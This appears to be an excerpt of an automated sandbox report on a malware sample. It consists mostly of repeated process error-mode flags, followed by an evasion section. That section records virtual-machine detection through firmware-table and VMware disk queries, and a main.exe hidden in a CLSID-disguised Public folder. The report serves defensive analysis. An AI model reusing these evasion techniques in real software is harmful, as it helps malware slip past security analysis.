Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\System32\svchost.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe

Code function: GetLastError,EnumServicesStatusExA,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapFree,strlen,strlen,GetProcessHeap,HeapAlloc,strcpy,

29_2_00007FFB22737694

Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	29_2_00007FFB22706078
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	29_2_00007FFB2273B648
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	29_2_00007FFB22762738
Source: C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe	Code function: GetProcessHeap,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,	29_2_00007FFB23AB3058
